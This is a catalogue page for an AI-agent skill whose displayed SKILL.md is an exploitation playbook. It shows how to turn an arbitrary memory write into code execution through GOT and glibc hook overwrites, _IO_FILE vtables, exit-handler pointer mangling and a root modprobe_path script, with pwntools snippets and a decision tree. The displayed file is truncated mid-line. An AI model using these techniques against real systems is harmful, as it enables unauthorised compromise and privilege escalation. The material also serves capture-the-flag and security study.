arbitrary-write-to-rce
Arbitrary write to RCE playbook
Install / Use
npx skills add yaklang/hack-skills --skill arbitrary-write-to-rceInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Tags
Our assessment of arbitrary-write-to-rce
arbitrary-write-to-rce scores 88/100 on our quality scale, 606th of 1,108 Security skills we index.
Its SKILL.md is 12 KB long, well organised into 81 sections with 19 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so arbitrary-write-to-rce is actively maintained.
- Our last check on 2026-11-01 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit β read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.
AI review by kimi-k2.7-code on 2026-10-01. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk β read a skill before letting an agent act on it.
arbitrary-write-to-rce compared with similar skills
All 4 of these similar skills score higher than arbitrary-write-to-rce; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| arbitrary-write-to-rce (this skill)by yaklang | 88 | 2.3k | 2mo ago | SKILL.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 149.0k | 6d ago | SKILL.md |
Frequently asked questions
- How do I install arbitrary-write-to-rce?
- Run
npx skills add yaklang/hack-skills --skill arbitrary-write-to-rce. The install tabs above show the steps for each supported agent. - Which AI agents does arbitrary-write-to-rce work with?
- It is written for Zed, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is arbitrary-write-to-rce safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is arbitrary-write-to-rce still maintained?
- The repository was last updated about 2 months ago, so arbitrary-write-to-rce is actively maintained.
Skill content
View source on GitHubname: arbitrary-write-to-rce description: >- Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.
SKILL: Arbitrary Write to Code Execution β Expert Attack Playbook
AI LOAD INSTRUCTION: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.
0. RELATED ROUTING
- heap-exploitation β obtaining the arbitrary write via heap attacks
- format-string-exploitation β obtaining the arbitrary write via %n
- stack-overflow-and-rop β stack-based write primitives
- binary-protection-bypass β which targets are available given protection configuration
- heap-exploitation IO_FILE_EXPLOITATION.md β deep _IO_FILE structure exploitation
1. TARGET SELECTION BY GLIBC VERSION
| Target | glibc < 2.24 | 2.24β2.33 | β₯ 2.34 | Required Knowledge |
|---|---|---|---|---|
| GOT overwrite | OK (Partial RELRO) | OK (Partial RELRO) | OK (Partial RELRO) | Binary base |
| __malloc_hook | OK | OK | Removed | libc base |
| __free_hook | OK | OK | Removed | libc base |
| __realloc_hook | OK | OK | Removed | libc base |
| _IO_FILE vtable (direct) | OK | Vtable range check | Vtable range check | libc base + heap |
| _IO_FILE via _IO_str_jumps | N/A | OK (2.24β2.27) | Patched | libc base + heap |
| _IO_FILE via _IO_wfile_jumps | N/A | OK (β₯ 2.28) | OK | libc base + heap |
| __exit_funcs | OK | OK | OK | libc base + pointer guard |
| TLS_dtor_list | N/A | N/A | OK | TLS addr + pointer guard |
| _dl_fini / link_map | OK | OK | OK | ld.so base |
| modprobe_path (kernel) | OK | OK | OK | Kernel base |
| .fini_array | OK | OK | OK | Binary base (if writable) |
| C++ vtable | OK | OK | OK | Object address + heap |
| setcontext gadget | OK | OK (changed in 2.29) | OK | libc base |
| Stack return address | Always | Always | Always | Stack address |
2. GOT OVERWRITE
Replace a function pointer in the Global Offset Table.
Requirements
- Partial RELRO (
.got.pltwritable) β Full RELRO blocks this entirely
Common Targets
| Overwrite From | Overwrite To | Trigger |
|---|---|---|
| printf@GOT | system | Next printf(user_input) with input = /bin/sh |
| free@GOT | system | Next free(ptr) where ptr points to "/bin/sh" |
| strlen@GOT | system | Next strlen(user_input) |
| atoi@GOT | system | Next atoi(user_input) with input = "sh" |
| puts@GOT | system | Next puts(user_input) |
| exit@GOT | main or gadget | Create loop for multi-shot exploit |
| __stack_chk_fail@GOT | ret gadget | Neutralize canary check |
# Format string GOT overwrite
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
# Heap-based GOT overwrite (tcache poisoning)
# Allocate chunk at GOT address β write system address
3. __malloc_hook / __free_hook (glibc < 2.34)
__malloc_hook
# Overwrite __malloc_hook with one_gadget address
# Triggered by any malloc call (including internal malloc in printf with large format)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# Trigger:
io.sendline('%100000c') # printf calls malloc internally for large format
__free_hook
# Overwrite __free_hook with system
write(libc.sym['__free_hook'], libc.sym['system'])
# Trigger: free a chunk containing "/bin/sh"
chunk_data = b'/bin/sh\x00'
# ... allocate chunk with this data, then free it
Realloc Trick for one_gadget Constraints
# one_gadget often requires specific register/stack state
# realloc pushes registers and adjusts stack before calling __realloc_hook
# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
# Set __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # +2, +4, +6 etc. to adjust
4. _IO_FILE VTABLE
See IO_FILE_EXPLOITATION.md for full details.
Quick Summary by Version
| glibc | Method | Vtable Target |
|---|---|---|
| < 2.24 | Direct vtable overwrite | Point vtable to fake table with system at __overflow offset |
| 2.24β2.27 | _IO_str_jumps | Within valid range; _IO_str_finish calls _s._free_buffer |
| β₯ 2.28 | _IO_wfile_jumps | Wide-char path: _wide_data->_wide_vtable not range-checked |
| β₯ 2.35 | House of Cat | _IO_wfile_seekoff β _IO_switch_to_wget_mode β fake wide vtable call |
FSOP Trigger
# Overwrite _IO_list_all β fake FILE with crafted vtable
# Trigger via exit() or malloc abort β _IO_flush_all_lockp β _IO_OVERFLOW
5. __exit_funcs / __atexit
// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
// stored = ROL(ptr ^ __pointer_chk_guard, 0x11)
Exploitation
# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff
# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from main
Without Pointer Guard Knowledge
If you can overwrite both the function pointer AND the pointer guard (in TLS at fs:[0x30]):
- Set pointer guard to 0
- Set function pointer to
ROL(target, 0x11) - Demangling:
ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target
6. TLS_dtor_list (glibc β₯ 2.34)
Thread-local destructor list β the primary post-2.34 target.
// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)
Location
TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] β offset found via libc symbol or brute-force
Exploitation
# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr) # func (mangled with pointer guard)
entry += p64(arg_value) # obj (passed as argument to func)
entry += p64(0) # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() β __call_tls_dtors() β func(obj)
7. _dl_fini / LINK_MAP CORRUPTION
Attack Vector
During exit(), _dl_fini iterates the link_map list and calls DT_FINI_ARRAY entries.
// In _dl_fini:
for each loaded library (link_map entry):
if l_info[DT_FINI_ARRAY]:
array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
for each entry in array:
entry() // call destructor
Exploitation
- Corrupt a
link_mapentry'sl_addr(relocation base) to shift the FINI_ARRAY pointer - Or corrupt
l_info[DT_FINI_ARRAY]to point to fake array - Fake array contains target function pointer (system, one_gadget)
- Trigger:
exit()β_dl_finiβ calls fake destructor
Advantage: No pointer mangling (function pointers in FINI_ARRAY are not mangled).
8. modprobe_path (KERNEL)
Overwrite the kernel's modprobe_path to execute arbitrary commands as root.
# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
# with "/tmp/x" (attacker's script)
kernel_write(modprobe_path_addr, b'/tmp/x\x00')
# 2. Prepare script:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x
# 3. Trigger: execute a file with unknown binary format
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# β kernel calls modprobe_path ("/tmp/x") as root
See kernel-exploitation for kernel write primitives.
9. .fini_array
Overwrite destructor function pointers called during normal program exit.
# .fini_array contains function pointers called in reverse order during exit
# Typically: [__do_global_dtors_aux, ...]
# Overwrite first entry with target (main for loop, system for RCE)
# Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
# First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
# In main loop: set up final exploit
Limitation: .fini_array may be read-only in Full RELRO binaries.
10. C++ VTABLE OVERWRITE
// C++ objects with virtual functions have a vptr at offset 0
// vptr β vtable β array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers
// Object layout:
// +0x00: vptr β [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...
# 1. Leak object address and vptr
# 2. Create fake vtable in controlled memory:
fake_vtable = p64(0) # offset -0x10 (RTTI info)
fake_vtable += p64(0) # offset -0x08 (RTTI info)
fake_vtable += p64(target_func) # virtual function 0 β system / one_gadget
fake_vtable += p64(target_func) # virtual function 1
# 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
# 4. Trigger: call virtual function on the object
11. setcontext GADGET
setcontext in libc loads registers from a ucontext_t structure β useful as a pivot gadget.
glibc < 2.29
// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers β full control
glibc β₯ 2.29
// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
# Common pattern with __free_hook (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) β setcontext(chunk) where chunk contains fake ucontext
# From ucontext: set RSP to ROP chain, RIP to ret β ROP continues
# Post-2.34: combine with _IO_FILE exploitation
# _IO_FILE vtable call passes fp as first arg β use gadget to move to rdx β setcontext
12. DECISION TREE
You have an arbitrary write primitive. What to target?
βββ What's the RELRO level?
β βββ None / Partial β GOT overwrite (simplest, most reliable)
β β βββ printfβsystem, freeβsystem, atoiβsystem
β βββ Full RELRO β GOT read-only, choose alternative:
β
βββ What glibc version?
β βββ < 2.34 (hooks available)
β β βββ __free_hook = system β free("/bin/sh") [easiest]
β β βββ __malloc_hook = one_gadget β trigger malloc [if constraints met]
β β βββ __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
β β
β βββ β₯ 2.34 (no hooks)
β β βββ Know pointer guard (fs:[0x30])?
β β β βββ YES β __exit_funcs or TLS_dtor_list
β β β βββ NO β overwrite pointer guard to 0 first, then exit_funcs
β β βββ _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
β β β βββ Need: libc base + heap address + controllable FILE structure
β β βββ _dl_fini link_map c
Truncated for display β read the full file on GitHub.
Related Skills
x402
121.0kSet up Browser Use Cloud payments with x402 β pay per request from a crypto wallet (USDC on Base mainnet), no signup or API key.
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way β as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an emβ¦
design
149.0kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVGβ¦
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit β see the Safety scan above for what the skill file itself contains.
